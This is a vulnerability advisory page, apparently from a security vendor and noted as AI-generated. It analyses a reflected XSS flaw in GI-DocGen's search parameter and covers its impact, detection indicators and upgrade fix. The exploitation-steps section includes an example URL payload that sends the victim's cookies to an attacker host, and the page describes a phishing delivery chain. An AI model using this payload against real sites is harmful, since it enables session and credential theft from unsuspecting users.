CVE-2025-11687
Python vulnerability analysis and mitigation

Overview

CVE-2025-11687 is a reflected DOM-based Cross-Site Scripting (XSS) vulnerability in GI-DocGen, a documentation generator for GObject-based libraries. The flaw arises because gi-docgen does not encode search terms before inserting them into HTML, allowing arbitrary JavaScript execution via a crafted URL that supplies a malicious value to the q GET parameter. All versions of the gi-docgen pip package prior to 2025.5 are affected. The vulnerability was reported on October 13, 2025, and publicly disclosed on January 26, 2026, with a patch released in version 2025.5. It carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory, Red Hat Bugzilla).

Technical details

The root cause is improper neutralization of user-controllable input before it is placed in HTML output (CWE-79). Specifically, gi-docgen's search functionality reflects the value of the q GET parameter directly into the DOM without sanitization or encoding, enabling a reflected DOM XSS attack. An attacker crafts a malicious URL containing a JavaScript payload in the q parameter and tricks a victim into clicking it; the victim's browser then executes the injected script in the context of the documentation page. The severity of exploitation depends on what else is hosted on the same domain — if only gi-docgen documentation is served, the practical impact is limited, but shared-domain deployments increase risk significantly (Github Advisory, Red Hat Bugzilla).

Impact

Successful exploitation enables arbitrary JavaScript execution in the victim's browser within the context of the affected documentation page, potentially allowing session cookie theft, DOM content access, credential harvesting, and other client-side attacks. The scope is changed (S:C in CVSS terms), meaning the injected script can affect resources beyond the vulnerable component itself. Availability is not impacted, but both confidentiality and integrity are partially compromised. The practical severity is highly context-dependent — deployments where gi-docgen documentation shares a domain with sensitive applications or authenticated sessions face the greatest risk (Github Advisory, Feedly).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11687. The EPSS score is approximately 0.007% (1st percentile), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — a victim must click a crafted link — which further reduces the likelihood of opportunistic mass exploitation (Github Advisory).

Exploitation steps

  1. Reconnaissance: Identify publicly accessible gi-docgen-generated documentation sites running versions prior to 2025.5, particularly those hosted on domains shared with authenticated applications or sensitive resources.
  2. Craft malicious URL: Construct a URL targeting the documentation site's search functionality with a malicious JavaScript payload injected into the q GET parameter, e.g., https://docs.example.com/search.html?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Deliver the payload: Send the crafted URL to a target victim via phishing email, social engineering, or by embedding it in another web page.
  4. Trigger execution: When the victim clicks the link, their browser loads the documentation page, which reflects the unsanitized q parameter value directly into the DOM, causing the injected JavaScript to execute.
  5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the user, exfiltrate DOM content, or redirect the victim to an attacker-controlled site (Github Advisory, Red Hat Bugzilla).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing a gi-docgen documentation URL containing encoded script tags or JavaScript in the q parameter.
  • Logs: Web server access logs showing requests to documentation search endpoints with URL-encoded <script>, javascript:, onerror=, or similar XSS payloads in the q query parameter (e.g., GET /search.html?q=%3Cscript%3E...).
  • Browser/Client: Unexpected redirects or network requests to attacker-controlled domains originating from documentation page visits; browser developer tools showing injected script execution in the page context.

Mitigation and workarounds

The fix is available in gi-docgen version 2025.5, which properly encodes search terms before inserting them into HTML output. Users should upgrade the gi-docgen pip package to version 2025.5 or later immediately. The upstream patch is available at the GNOME GitLab repository (commit 65d16b8ac178900602da540c8f5df4f52d5e8cf6). As a temporary workaround where upgrading is not immediately possible, administrators can restrict access to documentation sites or ensure gi-docgen documentation is not hosted on domains shared with sensitive authenticated applications, which limits the practical impact of exploitation (Github Advisory).

Community reactions

The vulnerability was tracked by Red Hat's Product Security team and assigned via their OSIDB system, with Fedora updates issued for affected packages. Linux security news outlets including LinuxSecurity.com and pro-linux.de covered the Fedora advisory. Tenable released Nessus plugins (IDs 271457 and 271761) to detect vulnerable installations. No significant broader community controversy or notable researcher commentary has been observed beyond standard advisory coverage (Github Advisory).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48039CRITICAL9.1
  • Python logoPython
  • meta-ads-mcp
NoYesAug 07, 2026
CVE-2026-48169HIGH8.8
  • Python logoPython
  • praisonai-platform
NoYesAug 07, 2026
GHSA-wvpp-8hx9-p66jHIGH8.8
  • Python logoPython
  • gitpython
NoYesAug 07, 2026
CVE-2026-71870MEDIUM4.8
  • Python logoPython
  • nemo
NoYesAug 07, 2026
CVE-2026-71852MEDIUM4.8
  • Python logoPython
  • litellm-1.94
NoYesAug 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management